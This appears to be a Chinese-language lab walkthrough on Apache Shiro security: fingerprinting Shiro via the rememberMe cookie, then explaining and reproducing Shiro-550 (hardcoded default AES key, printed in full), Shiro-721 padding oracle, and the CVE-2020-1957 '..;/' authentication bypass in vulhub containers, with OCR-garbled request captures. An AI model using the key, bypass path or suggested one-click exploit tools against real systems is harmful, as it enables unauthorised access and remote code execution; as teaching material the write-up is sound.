一、Shiro
概述
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Shiro 是一款轻量级的 Java 安全框架，提供了身份认证、授权、加密和会话管理等功能。
Shiro 的目标是简化 Java 安全编程，并提供更好的开发体验。
官网地址：https://shiro.apache.org/
Shiro 的主要特点如下：
易于学习和使用：Shiro 设计简单，易于学习和使用。
灵活性高：Shiro 可以适用于任何应用场景，支持多种应用程序类型。
安全性高：Shiro 的安全性能比较优越，提供了多种方式来保护应用程序的安全性。
扩展性好：Shiro 框架提供了可扩展性插件机制，可以方便地扩展框架的功能，满足不同的需求。
企业级支持：Shiro 是从 Apache 基金会获得支持的框架，拥有众多企业用户。
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Shiro有三大核心组件，即Subject、SecurityManager 和 Realm。
Subject
Subject 代表当前用户，是 Shiro 框架中最重要的组件之一。Subject 封装了用户的所有信息，包括身份（用户名和密码）和角色等。在一个应用程序中，可能有多个 Subject，每个 Subject 可以访问应用程序中的资源。
用户可以通过 Subject 登录应用程序，并执行诸如访问资源、修改个人配置等操作。Shiro 提供了简单易用的方法来管理用户的登录和退出行为，以及 Session 管理等。
SecurityManager
SecurityManager 是 Shiro 的核心组件，负责管理和协调整个应用程序的安全机制。它的主要职责是认证、授权、加密和会话管理等。
SecurityManager 将应用程序中的所有安全操作委托给适当的 Realms 进行处理，并存储和管理有关用户身份、角色和权限等信息。
SecurityManager 还可以配置多个 Realms，以便应用程序可以集成不同的认证和授权方案。
Realm
Realm 是 SecurityManager 中负责处理用户身份认证和授权的组件。Shiro 支持多种不同类型的 Realm，包括 JDBC Realm、LDAP Realm、Active Directory Realm 等。
每个 Realm 负责验证用户的身份，并获取用户的权限信息，以便 SecurityManager 可以根据这些信息进行访问控制和授权。Realm 还可以实现缓存机制，提高系统性能。
特征
核心特征：RememberMe Cookie
Shiro 的 “记住我”（RememberMe）功能会生成特定格式的 Cookie，这是识别 Shiro 应用的最核心、最直接的特征。
	特征细节
	具体表现
	探测价值

	Cookie 名称
	固定为 rememberMe（首字母小写，无空格或特殊字符）。
	浏览器 F12 查看 Cookie 列表，若存在rememberMe Cookie，大概率是 Shiro 应用。

	Cookie 值格式
	1. 未勾选 “rememberMe”：值为deleteMe（登录后未勾选时，Shiro 会设置此值清除旧 Cookie）；<br />2. 勾选 “rememberMe”：值为Base64 编码后的序列化数据（长度较长，通常几百到几千字符，如dGltZXN0YW1wOi8vMTIzLjQ1LjY3Ljg5OjE2...）。
	若存在deleteMe或长 Base64 格式的rememberMe，可 100% 初步判定为 Shiro 应用；<br />Base64 值是 Shiro-550 漏洞探测的关键载体（需解码分析序列化格式）。

	Cookie 属性
	通常携带Path=/（作用域为全站）、HttpOnly（防 XSS 窃取）属性，部分配置会加Secure（仅 HTTPS 传输）。
	结合rememberMe名称 +Path=/+HttpOnly，可进一步确认 Shiro 框架。


响应头特征（未授权 / 认证场景）
当访问 Shiro 保护的资源（未登录或权限不足）时，服务器返回的响应头会带有 Shiro 的权限控制痕迹，是漏洞探测的重要辅助特征。
	特征类型
	具体表现
	探测价值

	WWW-Authenticate 头
	未认证访问受保护资源时，响应头会返回 WWW-Authenticate: Basic realm="Shiro Realm" 或 Bearer realm="Shiro Realm"（取决于 Shiro 的认证策略配置）。
	“Shiro Realm” 关键字直接暴露框架身份，是无rememberMe Cookie 时的核心识别依据。

	状态码与跳转
	1. 未认证时，可能返回 401 Unauthorized（无权限访问）；2. 配置了登录页跳转时，返回 302 Found，Location 头指向登录页（如/login.jsp、/auth/login）。
	401 状态码 +WWW-Authenticate头，可快速定位 Shiro 的权限拦截逻辑；302 跳转的登录页路径可作为后续探测的入口（如测试登录表单的 RememberMe 参数）。


二、Shiro550
漏洞描述
名字来源于 Apache Shiro 官方 JIRA 问题跟踪系统的漏洞工单编号：SHIRO-550，安全圈内习惯直接取编号数字部分，简称为「Shiro550」，它对应的官方通用漏洞编号是 CVE-2016-4437。
影响范围
Shiro <= 1.2.4
漏洞原理
核心原因是  Shiro 1.2.4及以下版本中，登录表单中有一个“记住我（Remember Me）” 功能的加密密钥为硬编码，且序列化数据的解密与反序列化过程缺乏安全校验：
硬编码密钥：Shiro 对 “Remember Me” 的用户身份信息（序列化数据）采用 AES 加密，但其加密 / 解密密钥（decryptionCipherKey）在源码中是固定值（默认密钥：kPH+bIxk5D2deZiIxcaaaA==，Base64 编码后的 AES 密钥），所有使用默认配置的 Shiro 应用均共用该密钥。
当用户勾选 “记住我” 登录后，Shiro流程：将用户身份信息序列化→AES 加密→Base64 编码，最终存储在rememberMe Cookie 中。
后续访问时，Shiro首先读取该 Cookie，经过 Base64 解码→AES 解密→反序列化，恢复用户身份。
若攻击者伪造包含恶意代码的序列化数据，用默认密钥加密后构造RememberMe Cookie，目标服务器解密后反序列化时，会触发恶意代码执行（RCE）。
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设置加密的Key相关方法：
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cipherKey参数，在shiro.ini中，找到cipherKey值。
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实现的方法是在CookieRememberMeManagerTest类中：
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默认的Key（也被称为硬编码） 是：kPH+bIxk5D2deZiIxcaaaA==
漏洞复现
进入靶场环境，启动容器
root@ubuntu:~/vulhub# cd ./shiro/CVE-2016-4437/
root@ubuntu:~/vulhub/shiro/CVE-2016-4437# docker compose up -d
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访问8080端口，使用admin:vulhub进行登录
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直接使用Shiro反序列化利用工具：添入默认密钥和目标地址，直接一键
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一键利用工具建议选择GitHub中Star星比较高的！
修复建议
升级版本
三、Shiro721
漏洞描述
Shiro 721（CVE-2019-12422）
核心是利用AES-CBC 加密模式的 Padding Oracle 攻击，在未知密钥的情况下，伪造或解密 [RememberMe] 功能的 Cookie，最终触发反序列化远程代码执行（RCE）。
影响范围
Apache Shiro 1.2.5 ~ 1.4.0
漏洞原理
Shiro550 修复后（1.2.5 及以上版本），官方移除了硬编码密钥，要求用户自定义 AES 密钥，但加密逻辑仍存在缺陷：
加密模式风险：Shiro 对 “RememberMe” Cookie 的加密仍使用AES-CBC 模式，该模式需要对不足块大小的数据进行 “填充”（Padding，如 PKCS#5/PKCS#7）。若加密数据的填充不符合规则，解密时会抛出 “填充错误” 异常。
响应差异泄露：当攻击者发送填充错误的恶意 Cookie 时，Shiro 会返回不同的错误响应（如 HTTP 状态码、响应内容差异）
例如，填充正确但解密失败时返回一种提示，填充错误时返回另一种提示。这种 “响应差异” 被称为 “Padding Oracle”，攻击者可利用该差异逐步破解加密数据或伪造恶意 Cookie。
反序列化未修复：即使密钥未知，攻击者通过 Padding Oracle 攻击伪造出合法的加密 Cookie 后，Shiro 仍会对其解密并反序列化，若 Cookie 中包含恶意序列化数据，将触发 RCE。
填充操作
以 AES 为例，它是一种 “块加密算法”，只能处理固定大小的 “数据块”（AES 的块大小固定为 128 位，即 16 字节）。当待加密的数据长度不是块大小的整数倍时，就需要通过 “填充” 补足，这是块加密的基础操作。
块加密算法（如 AES、DES）的核心是：每次加密 / 解密只能处理固定长度的数据块（AES 为 16 字节）。如果原始数据的长度不是块大小的整数倍（比如 10 字节、20 字节），就需要在数据末尾添加一些 “填充字节”，使总长度刚好是块大小的整数倍。
例如：
原始数据长度为 10 字节（不足 16 字节），需要填充 6 字节，总长度变为 16 字节（1 个块）；
原始数据长度为 20 字节（1 个块 16 字节 + 剩余 4 字节），需要填充 12 字节，总长度变为 32 字节（2 个块）。
填充不是随意添加字节，而是需要遵循约定的规则（否则解密时无法正确去除填充）。Shiro 中使用的是PKCS#7 填充规则（与 PKCS#5 兼容，适用于块大小≤255 字节的场景），规则如下：
设块大小为B（AES 中B=16字节），原始数据长度为L；
需要填充的字节数为P = B - (L % B)（即 “块大小 - 数据长度对块大小的余数”）；
填充的P个字节中，每个字节的值均为P（即填充字节的 “值” 等于填充的 “数量”）。
原始数据长度 = 10 字节（L=10）：
填充字节数P=16-10=6；
填充 6 个字节，每个字节的值为0x06（十六进制），最终总长度 = 16 字节。
原始数据长度 = 16 字节（L=16，刚好是 1 个块）：
此时L%B=0，填充字节数P=16；
填充 16 个字节，每个字节的值为0x10，最终总长度 = 32 字节（2 个块）。
解密时，算法会读取最后一个字节的值P，然后去除末尾P个字节，即可恢复原始数据（这就是填充规则的核心作用：让解密方知道需要去掉多少填充字节）。
利用方式
在 Shiro 的 “RememberMe” 功能中，加密的RememberMe Cookie 解密流程如下：
服务器读取 Cookie 值→Base64 解码→AES-CBC 解密（使用用户配置的密钥）；
解密后，先检查填充是否符合 PKCS#7 规则：
若填充错误→抛出BadPaddingException，服务器可能返回特定错误响应（如 HTTP 500 状态码，或包含 “填充错误” 的提示）；
若填充正确→继续反序列化数据，若反序列化失败（如数据不是合法的序列化格式）→返回另一种响应（如 HTTP 200 但认证失败，提示 “无效的 rememberMe 令牌”）。
这种 “填充错误” 和 “填充正确但反序列化失败” 的响应差异（状态码、响应内容、响应时间等），就是 “Padding Oracle”（填充预言机）
攻击者可利用这种差异，通过以下方式伪造恶意 Cookie：
构造大量不同填充的恶意数据，加密后作为rememberMe Cookie 发送给服务器；
根据服务器的响应差异，判断当前填充是否正确（“是” 或 “否”）；
逐步调整填充和数据内容，最终 “猜解” 出能通过填充校验的加密数据（即使不知道密钥）；
当伪造的数据包含恶意序列化代码时，服务器解密后反序列化就会触发远程代码执行。
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修复建议
升级版本
四、CVE-2020-1957
漏洞描述
认证绕过漏洞，CVE-2020-1957
CVE-2020-1957，Spring Boot中使用 Apache Shiro 进行身份验证、权限控制时，可以精心构造恶意的URL，利用 Apache Shiro 和 Spring Boot 对URL的处理的差异化，可以绕过 Apache Shiro 对 Spring Boot 中的 Servlet 的权限控制，越权并实现未授权访问。
对URL的权限配置如下：
@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
    DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
    chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form
    chainDefinition.addPathDefinition("/logout", "logout");
    chainDefinition.addPathDefinition("/admin/**", "authc");
    return chainDefinition;
}
影响版本
Apache Shiro < 1.5.1
漏洞复现
进入靶场环境，启动容器
root@ubuntu:~/vulhub/shiro# cd CVE-2020-1957/
root@ubuntu:~/vulhub/shiro/CVE-2020-1957# docker compose  up -d
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抓取数据包，直接访问admin路径，会发现跳转到登录页面
[image: ]
访问login.html文件
[image: ]
构造特殊路径绕过认证：
/xxx/..;/admin/
[image: ]
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修复建议
升级版本
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* @param cipherKey the symmetric cipher key to use for both encryption and decryption.
*/
public void setCipherKey(byte[] cipherKey) {
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
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# We need to set the cipherKey, if you want the rememberMe cookie to work
# YOU MUST SET THIS TO A UNIQUE STRING
securityManager.rememberMeManager.cipherKey = kPH+bIxk5D2deZilxcaaaA==

after restarting or on multiple nodes.
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CookieRememberMeManager mgr = new CookieRememberMeManager();
mgr.setCipherKey( Baseé4.decode( base64Encoded: "kPH+bIxk5D2deZilxcaaaA=="));
PrincipalCollection collection = mgr.getRememberedPrincipals(context);
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S:\vulhub\vulhub\shiro\CVE-2016-4437>docker compose up -d

[+] Running 9/9

wweb Pulled
wU43c265008fae Pull complete
waf36d2c7ald8 Pull complete
2b7bdd10elcl Pull complete
w£264389d8f2f Pull complete
wla2cld6e93fda Pull complete
wf9506bb322c0® Pull complete
w96f5dadllc2c Pull complete
wb6ea9c6684ad Pull complete

[+] Running 2/2

wNetwork cve-2016-U4437_default Created

wContainer cve-2016-U4437-web-1 Started

S:\vulhub\vulhub\shiro\CVE-2016-4437>docker ps
CONTAINER ID IMAGE COMMAND CREATED
ag80b061342d0  vulhub/shiro:1.2.4  "java -jar /shirodem.."  About a minute ago

S:\vulhub\vulhub\shiro\CVE-2016-4437>

STATUS
Up About a minute

28.7s
13.2s
18.1s
18.1s
18.2s
18.2s
19.5s
19.5s
22.5s

0.1s
0.6s

PORTS
0.0.0.0:8080->8080/tcp, [::]:8080->8080/tcp

NAMES
cve-2016-4437-web-1
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POST /doLogin HTTP/1. 1 1 HTTP/1. 1 200

1
2 Host: 192.168. 124. 130:8080 2 Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Mon,
3 Content-Length: 30 24-Aug-2026 08:23:07 GMT
4 Cache-Control: max-age=0 3 Content-Type: text/html;charset=UTF-8
5 Accept-Language: zh-CN, zh;q=0.9 4 Content-Language: zh-CN
6 Origin: http://192.168. 124. 130:8080 5 Date: Tue, 25 Aug 2026 08:23:07 GMT
7 Content-Type: application/x-www-form-urlencoded 6 Keep-Alive: timeout=60
8 Upgrade-Insecure-Requests: 1 7 Connection: keep-alive
9 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 8 Content-Length: 184
(KHTML, 1like Gecko) Chrome/145.0.0.0 Safari/537.36 9

10 Accept: 10 <!DOCTYPE html>

text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/w 11 <html lang="en”>

ebp, image/apng, */*;q=0. 8, application/signed-exchange;v=b3;q=0. 7 12 <head>
'1 Referer: http://192.168. 124. 130:8080/login 13 <meta charset="UTF-8">
12 Accept-Encoding: gzip, deflate, br 14 <title>
13 Cookie: JSESSIONID=2C9AZBE71515AFFB777BFEE6F8A75222 Congrats
14 Connection: keep-alive </title>
15 15 </head>
16 username=admin&password=vulhub 16 <body>
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2 Raw  Hex REB W= :M Rw Hex mEE
1 GET /admin HTTP/1.1 1 HTTP/1.1 302
2 Host: 192.168. 124. 130:8080 2 Location: http://192.168. 124. 130:8080/login. html
3 Accept-Language: zh-CN, zh;q=0.9 3 Content-Length: 0
4 Upgrade-Tnsecure-Requests: 1 4 Date: Wed, 26 Aug 2026 03:29:46 GMT
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 5 Keep-Alive: timeout=60
Gecko) Chrome/145. 0. 0.0 Safari/537. 36 6 Connection: keep-alive
6 Accept: 7

text/html, application/xhtml+xml, application/xml;q=0. 9, image/avif, image/webp, image/apng, */ 8
#;4=0. 8, application/signed-exchange;v=h3;q=0. 7

Accept-Encoding: gzip, deflate, br

Cookie: JSESSIONID=467bl1faa-dcdc-4523-af3b-ca64841b7bae

9 Connection:. keepzalive.

10

11

© =
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GET /login. html HTTP/I. 1
Host: 192.168. 124. 130:8080

3 Accept-Language: zh—CN, zh;q=0.9

Upgrade-Insecure-Requests: 1

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/145. 0. 0.0 Safari/537. 36

Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */
#;4=0. 8, application/signed-exchange;v=h3;q=0. 7

Accept-Encoding: gzip, deflate, br

Cookie: JSESSIONID=467bl1faa-dcdc-4523-af3b-ca64841b7bae

Connection.. keepzalive.

L]

% Raw  Hex  FEER

HTTP/1.1 200

Content-Type: text/html;charset=UTF-8
Content-Language: zh-CN

Date: Wed, 26 Aug 2026 03:30:25 GMT
Keep-Alive: timeout=60

Connection: keep-alive
Content-Length: 4958

-

" Licensed to the Apache Software Foundation (ASF) under one

" or more contributor license agreements. See the NOTICE file
distributed with this work for additional information

" regarding copyright ownership. The ASF licenses this file

" to you under the Apache License, Version 2.0 (the

" “License”) ; you may not use this file except in compliance
with the License. You may obtain a copy of the License at

http://www. apache. org/licenses/LICENSE-2. 0
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GET /xxx/.. ;/admin/ HTTP/1. 1

Host: 192. 168. 124. 130:8080

Accept-Language: zh-CN, zh;q=0.9

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/145. 0. 0.0 Safari/537. 36

Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */
*;4=0. 8, application/signed-exchange;v=b3;q=0. 7

Accept-Encoding: gzip, deflate, br

Cookie: JSESSIONID=: 467b1faa dede-4523-af3b-ca64841b7bae

Connection.. kee
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HTTP/I 1 200

Content=Type: text/html;charset=UTF-8
Content-Language: zh-CN

Date: Wed, 26 Aug 2026 03:31:28 GMT

Connection: keep-alive
Content-Length: 2700
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Licensed to the Apache Software Foundation
or more contributor license agreements. S
distributed with this work for additional

regarding copyright ownership. The ASF li
to you under the Apache License, Version 2

" “License”) ; you may not use this file exce

with the License. You may obtain a copy o
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